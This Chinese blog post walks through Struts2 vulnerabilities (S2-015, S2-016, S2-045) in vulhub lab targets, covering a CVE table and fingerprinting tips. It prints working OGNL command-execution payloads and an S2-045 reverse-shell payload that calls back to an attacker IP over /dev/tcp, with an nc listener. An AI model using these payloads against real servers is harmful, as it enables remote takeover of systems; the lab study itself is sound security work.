Struts2漏洞 - Struts2-015 Struts2-016 Struts2-045
创始人
2024-04-27 23:19:19
0

文章目录

  • Struts2简介
  • Struts2历史漏洞
  • Struts2历史漏洞发现
    • Struts2框架识别
  • Struts2历史漏洞利用
    • Struts2-015
      • 漏洞简介
      • 影响范围
      • 环境搭建
      • 漏洞复现
    • Struts2-016
      • 漏洞简介
      • 影响范围
      • 环境搭建
      • 漏洞复现
    • Struts2-045
      • 漏洞简介
      • 影响范围
      • 环境搭建
      • 漏洞复现

Struts2简介

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts 1和Struts2;Struts2是一个基于
MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

Struts2历史漏洞

漏洞编号CVE编号影响版本发送数据实现功能
S2-001CVE-2007-4556Struts 2.0.0-2.0.8POST请求发送数据;默认参数为:username,password获取WEB路径,任意命令执行和反弹shel
S2-003Struts 2.0.0-2.0.11.2GET请求发送数据任意命令执行
S2-005CVE-2010-1870Struts 2.0.0-2.1.8.1GET请求发送数据获取WEB路径,任意命令执行
S2-007CVE-2012-0838Struts 2.0.0-2.2.3POST请求发送数据;默认参数为:username,password任意命令执行和反弹shell
S2-008CVE-2012-0391Struts 2.1.0-2.3.1GET请求发送数据任意命令执行和反弹shell
S2-009CVE-2011-3923Struts 2.0.0-2.3.1.1GET请求发送数据,URL后面需要请求参数名; 默认参数: key任意命令执行和反shell
S2-012CVE-2013-1965StrutsShowcaseApp 2.0.0-2.3.13GET请求发送数据,参数直接添加到URL后面; 默认参数:name任意命令执行和反弹shell
S2-013/S2-014CVE-2013-1966Struts 2.0.0-2.3.14.1GET请求发送数据获取WEB路径,任意命令执行,反弹shell和文件上传
S2-015CVE-2013-2135Struts 2.0.0-2.3.14.2GET请求发送数据任意命令执行和反弹shell
S2-016CVE-2013-2251Struts 2.0.0-2.3.15GET请求发送数据获取WEB路径,任意命令执行,反弹shell和文件上传
S2-019CVE-2013-4316Struts 2.0.0-2.3.15.1GET请求发送数据获取WEB路径,任意命令执行,反弹shell和文件上传
S2-020CVE-2014-0094Struts 2.0.0–2.3.16GET请求发送数据任意命令执行,反弹shell和文件上传
S2-029CVE-2016-0785Struts 2.0.0-2.3.24.1(除了2.3.20.3)POST请求发送数据,需要参数; 默认参数:message任意命令执行和反弹shell
S2-032CVE-2016-3081Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)GET请求发送数据获取WEB路径,任意命令执行和反弹shell
S2-033CVE-2016-3087Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)GET请求发送数据任意命令行和反弹shell
S2-037CVE-2016-4438Struts 2.3.20-2.3.28.1GET请求发送数据获取WEB路径,任意命令执行和反弹shell
S2-045CVE-2017-5638Struts 2.3.5-2.3.31,2.5-2.5.10POST请求发送数据,不需要参数获取WEB路径,任意命令执行,反弹shel和文件上传
S2-052CVE-2017-9805Struts 2.1.2-2.3.33,2.5-2.5.12POST请求发送数据,不需要参数任意命令执行,反弹shell和文件上传
S2-053CVE-2017-12611Struts 2.0.1–2.3.33,2.5–2.5.10GET请求发送数据任意命令执行,反弹shell
S2-057CVE-2018-11776Struts 2.3–2.3.34,2.5–2.5.16GET请求发送数据任意命令执行,反弹shell
S2-059CVE-2019-0230Struts 2.0.0-2.5.20POST请求发送数据任意命令执行

Struts2历史漏洞发现

Struts2框架识别

  1. 通过网页后缀来进行判断,如 .do 或者 .action

  2. 通过 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为true。

  3. 通过页面回显的错误消息来判断,页面不回显错误消息时则无效。

  4. 通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。
    如:原始 URL 为 https://xxx.com/ 则检测所用的 URL 为 https://xxx.com/?actionErrors=1111

如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:

1、 页面直接出现 404 或者 500 等错误。

2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。

3、 页面的内容结构发生了明显的改变。

4、 页面发生了重定向。

Struts2历史漏洞利用

Struts2-015

漏洞简介

漏洞编号:S2-015
CVE编号:CVE-2013-2134漏洞/CVE-2013-2135漏洞

这个漏洞有两种,一种:

在Struts2中没有对Action的名称没有进行转义和白名单检查所造成ognl表达式被解析,从而执行恶意代码.其中一个场景是当action的name配置为通配符时,可通过访问.action来传入ognl表达式,并在加载jsp文件时触发执行.漏洞原理跟S2-012类似,S2-012利用的重定向类型,S2-015利用的Action的名称.

第二种:

 当\$和%字符组合使用时,ognl表达式会被TextParseUtil.translateVariables二次执行.
\${message}

影响范围

影响版本范围为:

S2.0.0-2.3.14.2

环境搭建

vulhub

进入到vulhub-master目录下

ls 
cd strtus2 
ls 
cd s2-015 
ls 
docker-compose up -d

查看是否搭建成功。

docker ps

访问靶场地址,如图即可搭建成功

http://ip:port

漏洞复现

payload

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}

payload url编码

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())%2C%23q%7D.action

使用burp抓包,插入payload,执行了’whoami’并返回到了页面

使用工具进行命令执行

Struts2-016

漏洞简介

原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。

漏洞编号:S2-016
CVE编号:CVE-2013-2251

影响范围

Struts 2.0.0 – 2.3.15

环境搭建

vulhub

进入到vulhub-master目录下

ls 
cd strtus2 
ls 
cd s2-016 
ls 
docker-compose up -d

漏洞复现

poc测试

/index.action?redirect:%25%7B5*5%7D

执行返回了结果,说明存在漏洞

使用工具进行命令执行。

Struts2-045

漏洞简介

漏洞编号:S2-045
CVE编号:cve-2017-5638
安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞,定级为高风险

在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。

影响范围

影响版本范围为:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10

环境搭建

ls 
cd strtus2 
ls 
cd s2-045 
ls 
docker-compose up -d

访问靶场地址

http://192.168.88.128:8080/doUpload.action

漏洞复现

  1. 随意上传一个文件并抓包
  2. 修改Content-Type为以下内容
"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

xxx='multipart/form-data’主要是让struts程序content_type.contains(“multipart/form- data”)判断为true

反弹shell payload

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC85OTk5IDA+JjE=|base64 -d|bash -i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC85OTk5IDA+JjE=#为反弹shell的bach命令

使用burp抓包,修改content-type字段为反弹shell payload

打开攻击机端口监听

nc -lvvp 9999

即可拿到靶机权限

相关内容

热门资讯

平板安装安卓系统密码,安卓系统... 你有没有想过,你的平板电脑竟然也能安装安卓系统呢?没错,就是那个我们手机上常用的操作系统!听起来是不...
小米8最低安卓系统,探索极致性... 你有没有发现,手机更新换代的速度简直就像坐上了火箭呢?这不,小米8这款曾经的旗舰机,现在都已经开始更...
如何配置安卓十系统,优化体验 亲爱的手机控们,你是否对安卓十系统的新鲜功能跃跃欲试?想要让你的手机焕然一新,体验前所未有的流畅与智...
安卓无人点餐系统,智能餐饮新体... 你有没有想过,在繁忙的都市生活中,点餐也能变得轻松又有趣呢?没错,就是那个神奇的安卓无人点餐系统!今...
安卓厂家系统对比,功能与特色的... 你有没有发现,手机的世界里,安卓系统就像是个大家庭,每个厂家都有自己的“孩子”,也就是自家定制的系统...
怎么降系统安卓手机,解锁性能新... 手机系统卡顿,是不是让你头疼不已?别急,今天就来教你几招,让你的安卓手机焕发新生!一、清理缓存,释放...
奇狗影视安卓系统,打造个性化观... 你知道吗?最近我在手机上发现了一个超级酷的影视APP,它就是奇狗影视安卓系统!这款APP简直是我的观...
安卓系统怎么取消闹钟,安卓系统... 手机闹钟响了!又是一个被闹钟叫醒的早晨,是不是觉得有点烦?别急,今天就来教你怎么取消安卓系统的闹钟,...
oppowatch怎么刷安卓系... 你有没有发现,OPPO Watch这款智能手表越来越受欢迎了呢?它不仅颜值高,功能强大,而且还能刷安...
安卓系统怎么截图桌面,轻松捕捉... 亲爱的手机控们,你是不是有时候想记录下手机桌面的样子,但又不知道怎么操作呢?别急,今天就来手把手教你...
安卓系统怎么拍照截图,安卓系统... 你有没有想过,手机拍照截图竟然也能玩出花来?现在就让我来给你详细介绍安卓系统里的拍照截图技巧,保证让...
安卓系统手机按键功能,解锁便捷... 你有没有发现,你的安卓手机里那些小小的按键,其实藏着大大的秘密呢?没错,今天就要来跟你聊聊这些看似普...
安卓4.42系统打王者,体验极... 你有没有发现,自从安卓4.42系统更新后,玩王者荣耀的体验简直不要太爽!今天,就让我来给你详细介绍这...
凤凰安卓系统无网络,畅游无网络... 最近是不是发现你的凤凰安卓手机突然成了“无网络”的“孤岛”啦?别急,让我来帮你一探究竟,找出那些可能...
敢聊安卓系统要求,兼容性解析与... 你有没有想过,你的安卓手机为什么有时候会卡得像蜗牛一样?或者有时候新安装的APP怎么就找不到运行内存...
安卓系统适配的手机,揭秘手机兼... 你有没有发现,现在市面上手机种类繁多,让人眼花缭乱?不过,说到手机操作系统,安卓系统可是当之无愧的“...
安卓系统试用赚钱软件,轻松赚取... 你有没有想过,在手机上轻轻一点,就能赚到一些小钱呢?没错,这就是安卓系统上那些神奇的赚钱软件的魅力所...
手机搭载安卓系统 英文,Exp... 你有没有发现,现在几乎每个人口袋里都揣着一个小巧的魔法盒?没错,就是手机!而在这个魔法盒里,有一个强...
安卓出现之前什么系统,从早期操... 你有没有想过,在我们现在使用的安卓系统横扫江湖之前,手机界可是有过一番风起云涌的呢!想象没有智能手机...
怎么禁用安卓系统组件,优化手机... 你有没有发现,安卓系统里的那些组件有时候真是让人头疼呢?有时候,我们可能并不需要某些功能,或者担心隐...